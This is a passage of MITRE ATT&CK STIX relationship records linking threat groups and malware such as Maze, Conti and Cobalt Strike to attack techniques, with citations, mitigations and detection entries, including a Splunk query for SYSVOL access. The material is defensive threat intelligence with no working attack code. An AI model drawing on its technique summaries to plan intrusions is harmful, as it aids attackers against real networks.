2013)","relationship_type":"uses","source_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0061f7aa-fe4e-41e5-8ebf-e9f526bda08f","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Wilted Tulip July 2017","description":"ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.","url":"http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf"}],"modified":"2020-03-19T22:00:22.401Z","description":"[TDTESS](https://attack.mitre.org/software/S0164) creates then deletes log files during installation of itself as a service.(Citation: ClearSky Wilted Tulip July 2017)","relationship_type":"uses","source_ref":"malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0068ce6b-d7da-4e08-acd6-5fabebc2bf88","created":"2024-09-16T09:13:57.157Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T09:13:57.158Z","description":"[APT41 DUST](https://attack.mitre.org/campaigns/C0040) used compromised Google Workspace accounts for command and control.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"campaign--add4d9de-1256-4166-83b8-57087288dced","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0068ee65-0945-4f69-ba81-163ffbc05e53","type":"relationship","created":"2019-05-24T17:02:44.371Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Lab52 WIRTE Apr 2019","url":"https://lab52.io/blog/wirte-group-attacking-the-middle-east/","description":"S2 Grupo. (2019, April 2). WIRTE Group attacking the Middle East. Retrieved May 24, 2019."}],"modified":"2019-06-20T15:30:38.635Z","description":"[WIRTE](https://attack.mitre.org/groups/G0090) has used PowerShell for script execution.(Citation: Lab52 WIRTE Apr 2019)","relationship_type":"uses","source_ref":"intrusion-set--f8cb7b36-62ef-4488-8a6d-a7033e3271c1","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0069b158-3cc8-4e22-af63-6c57cb58f9d6","type":"relationship","created":"2022-03-30T14:26:51.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.847Z","description":"Monitor for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques. ","source_ref":"x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c","target_ref":"attack-pattern--70d81154-b187-45f9-8ec5-295d01255979","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--006e029e-0714-4f99-befd-53b9fbc7c8c8","type":"relationship","created":"2020-05-18T17:31:39.583Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Maze May 2020","url":"https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html","description":"Kennelly, J., Goody, K., Shilko, J. (2020, May 7). Navigating the MAZE: Tactics, Techniques and Procedures Associated With MAZE Ransomware Incidents. Retrieved May 18, 2020."}],"modified":"2020-06-24T01:39:05.871Z","description":"[Maze](https://attack.mitre.org/software/S0449) has disrupted systems by encrypting files on targeted machines, claiming to decrypt files if a ransom payment is made. [Maze](https://attack.mitre.org/software/S0449) has used the ChaCha algorithm, based on Salsa20, and an RSA algorithm to encrypt files.(Citation: FireEye Maze May 2020)","relationship_type":"uses","source_ref":"malware--d9f7383c-95ec-4080-bbce-121c9384457b","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--00701b4a-9eab-41cc-9c09-f904a9799201","type":"relationship","created":"2021-01-19T21:06:07.784Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec RAINDROP January 2021","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware","description":"Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021."}],"modified":"2021-01-20T13:56:30.150Z","description":"After initial installation, [Raindrop](https://attack.mitre.org/software/S0565) runs a computation to delay execution.(Citation: Symantec RAINDROP January 2021)","relationship_type":"uses","source_ref":"malware--4efc3e00-72f2-466a-ab7c-8a7dc6603b19","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0076c114-0e7a-45c3-a851-7a877a9eefd0","created":"2022-04-15T20:07:57.641Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky WIRTE November 2021","url":"https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044","description":"Yamout, M. (2021, November 29). WIRTE’s campaign in the Middle East ‘living off the land’ since at least 2019. Retrieved February 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[WIRTE](https://attack.mitre.org/groups/G0090) has used HTTPS over ports 2083 and 2087 for C2.(Citation: Kaspersky WIRTE November 2021)","modified":"2022-04-15T20:07:57.641Z","relationship_type":"uses","source_ref":"intrusion-set--f8cb7b36-62ef-4488-8a6d-a7033e3271c1","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0077d777-1e32-4b34-ab12-461b34110ffe","type":"relationship","created":"2021-10-11T16:56:45.484Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Lokibot Jan 2021","url":"https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html","description":"Muhammad, I., Unterbrink, H.. (2021, January 6). A Deep Dive into Lokibot Infection Chain. Retrieved August 31, 2021."}],"modified":"2021-10-11T16:56:45.484Z","description":"[Lokibot](https://attack.mitre.org/software/S0447) has used VBS scripts and XLS macros for execution.(Citation: Talos Lokibot Jan 2021) ","relationship_type":"uses","source_ref":"malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--00789efc-c0c5-4bc2-96ad-9f893bf9c06d","type":"relationship","created":"2021-02-17T19:22:30.961Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Conti Jan 2021","url":"https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware","description":"Rochberger, L. (2021, January 12). Cybereason vs. Conti Ransomware. Retrieved February 17, 2021."},{"source_name":"CarbonBlack Conti July 2020","url":"https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/","description":"Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021."}],"modified":"2021-04-14T12:56:37.287Z","description":"[Conti](https://attack.mitre.org/software/S0575) can spread via SMB and encrypts files on different hosts, potentially compromising an entire network.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020)","relationship_type":"uses","source_ref":"malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0078d802-53f2-4ee4-b802-492e9f121cbe","created":"2022-09-23T20:54:01.914Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-10T16:50:25.056Z","description":"During [FunnyDream](https://attack.mitre.org/campaigns/C0007), [ccf32](https://attack.mitre.org/software/S1043) was used to collect data.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"campaign--8d2bc130-89fe-466e-a4f9-6bce6129c2b8","target_ref":"malware--a394448a-4576-41b8-81cc-9b61abad94ab","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--007cc21a-685a-4701-99c1-20f258cedc7c","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT17","description":"FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.","url":"https://web.archive.org/web/20240119213200/https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-04T17:04:35.671Z","description":"[BLACKCOFFEE](https://attack.mitre.org/software/S0069) has the capability to enumerate files.(Citation: FireEye APT17)","relationship_type":"uses","source_ref":"malware--d69c8146-ab35-4d50-8382-6fc80e641d43","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--00814703-3c3b-4872-89e9-cea4ba5edf2d","type":"relationship","created":"2020-02-11T20:36:06.423Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-11T20:36:06.423Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e","target_ref":"attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--00822c6a-a881-4678-8d74-6a52b2ca27c9","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). Retrieved January 29, 2018.","source_name":"GitHub Pupy"}],"modified":"2019-04-24T17:52:47.933Z","description":"[Pupy](https://attack.mitre.org/software/S0192) uses [PsExec](https://attack.mitre.org/software/S0029) to execute a payload or commands on a remote host.(Citation: GitHub Pupy)","relationship_type":"uses","source_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0082e86b-a7b7-496b-af03-88785b6c8fbb","type":"relationship","created":"2021-12-06T15:43:24.481Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"modified":"2021-12-06T15:43:24.481Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has compressed data into .zip files prior to exfiltration.(Citation: US-CERT TA18-074A)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--00876444-466d-40fe-8de5-0c13fcd0ea1a","type":"relationship","created":"2020-10-15T16:47:27.531Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-02-17T13:12:51.765Z","description":"Make sure that the HISTCONTROL environment variable is set to “ignoredups” instead of “ignoreboth” or “ignorespace”.","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--8f504411-cb96-4dac-a537-8d2bb7679c59","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--00914655-1a22-40ed-ae4d-6adb1a6acd35","type":"relationship","created":"2020-11-09T16:28:37.599Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}],"modified":"2020-11-09T16:28:37.599Z","description":"[Astaroth](https://attack.mitre.org/software/S0373) can store C2 information on cloud hosting services such as AWS and CloudFlare and websites like YouTube and Facebook.(Citation: Securelist Brazilian Banking Malware July 2020)","relationship_type":"uses","source_ref":"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6","target_ref":"attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--00991be5-e2c2-4645-b743-e9e4af3d38b9","type":"relationship","created":"2021-05-20T14:35:48.636Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cobalt Strike Manual 4.3 November 2020","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}],"modified":"2021-10-18T19:54:13.384Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can use sudo to run a command.(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--00a4a29f-bbc3-45aa-82ad-7adb0c67a7db","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-15T13:21:05.686Z","description":"Monitor for attempts to access SYSVOL that involve searching for XML files.\n\nAnalytic 1 - Unauthorized access to SYSVOL XML files.\n\n index=security sourcetype=\"WinEventLog:Security\" EventCode=4663 ObjectName=\"*SYSVOL*\" ObjectName=\"*.xml\"\n| eval AccessType=case(\n AccessMask=\"0x1\", \"Read\",\n AccessMask=\"0x2\", \"Write\",\n AccessMask=\"0x3\", \"Read/Write\",\n AccessMask=\"0x4\", \"Delete\",\n true(), \"Unknown\"\n)","relationship_type":"detects","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--00a88d6f-fa8c-48bf-a028-fb75ca04e000","created":"2020-11-10T16:49:13.291Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"},{"source_name":"DFIR Ryuk 2 Hour Speed Run November 2020","description":"The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020.","url":"https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.642Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has obtained code signing certificates signed by DigiCert, GlobalSign, and COMOOD for malware payloads.(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--00aa618f-bcfa-4649-8436-134f9d01e43c","type":"relationship","created":"2020-06-19T21:25:43.683Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-06-29T21:37:55.941Z","description":"[Goopy](https://attack.mitre.org/software/S0477) has the ability to communicate with its C2 over DNS.(Citation: Cybereason Cobalt Kitty 2017)\t","relationship_type":"uses","source_ref":"malware--eac3d77f-2b7b-4599-ba74-948dc16633ad","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--00ae99d1-db02-4007-8669-04d7fc4c1390","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit USBStealer 2014","description":"Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.","url":"http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"},{"source_name":"Kaspersky Sofacy","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.","url":"https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"}],"modified":"2020-03-11T17:45:54.045Z","description":"Once a removable media device is inserted back into the first victim, [USBStealer](https://attack.mitre.org/software/S0136) collects data from it that was exfiltrated from a second victim.(Citation: ESET Sednit USBStealer 2014)(Citation: Kaspersky Sofacy)","relationship_type":"uses","source_ref":"malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb","target_ref":"attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--00b0af92-df59-4d56-ac3e-18f6f1f72957","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-flame-questions-and-answers-51/34344/","description":"Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.","source_name":"Kaspersky Flame"}],"modified":"2019-06-06T14:35:54.017Z","description":"[Flame](https://attack.mitre.org/software/S0143) contains modules to infect USB sticks and spread laterally to other Windows systems the stick is plugged into using Autorun functionality.(Citation: Kaspersky Flame)","relationship_type":"uses","source_ref":"malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498","target_ref":"attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--00b0b6ec-a9eb-4fdd-b7ea-6e6c8a8ab1fc","type":"relationship","created":"2019-11-27T14:58:00.679Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://technet.microsoft.com/library/dn221960.aspx","description":"Microsoft. (2013, May 8). Increase scheduling priority. Retrieved December 18, 2017.","source_name":"TechNet Scheduling Priority"}],"modified":"2020-12-30T14:26:44.885Z","description":"Configure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority. (Citation: TechNet Scheduling Priority)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--00ba134e-1833-4dde-bf4e-7ec45271e8a6","type":"relationship","created":"2021-04-01T21:13:03.597Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019.","url":"https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/","source_name":"Cyphort EvilBunny Dec 2014"}],"modified":"2021-04-01T21:13:03.597Z","description":"[EvilBunny](https://attack.mitre.org/software/S0396) has used various API calls as part of its checks to see if the malware is running in a sandbox.(Citation: Cyphort EvilBunny Dec 2014)\t","relationship_type":"uses","source_ref":"malware--a8a778f5-0035-4870-bb25-53dc05029586","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--00c4456d-cea9-43bf-913b-ec566699ce61","type":"relationship","created":"2020-08-20T18:47:28.174Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-11T17:38:16.986Z","description":"Limit permissions to discover cloud infrastructure in accordance with least privilege. Organizations should limit the number of users within the organization with an IAM role that has administrative privileges, strive to reduce all permanent privileged role assignments, and conduct periodic entitlement reviews on IAM users, roles and policies.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--57a3d31a-d04f-4663-b2da-7df8ec3f8c9d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--00c61f2d-f55e-4257-b92c-682352feb37d","type":"relationship","created":"2022-03-30T14:26:51.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.850Z","description":"Monitor newly executed processes that may set files and directories to be hidden to evade detection mechanisms.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--00c88cab-5cb9-492a-8dce-8eab92213bc3","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/","description":"Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.","source_name":"OilRig New Delivery Oct 2017"}],"modified":"2019-09-04T22:55:41.899Z","description":"(Citation: OilRig New Delivery Oct 2017)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"malware--5be33fef-39c0-4532-84ee-bea31e1b5324","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--00caa57d-7b0f-4156-907e-18d14d62965a","type":"relationship","created":"2020-06-29T01:39:22.199Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Equation QA","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, February). Equation Group: Questions and Answers. Retrieved December 21, 2015.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf"}],"modified":"2020-06-29T01:39:22.199Z","description":"[Equation](https://attack.mitre.org/groups/G0020) has used an encrypted virtual file system stored in the Windows Registry.(Citation: Kaspersky Equation 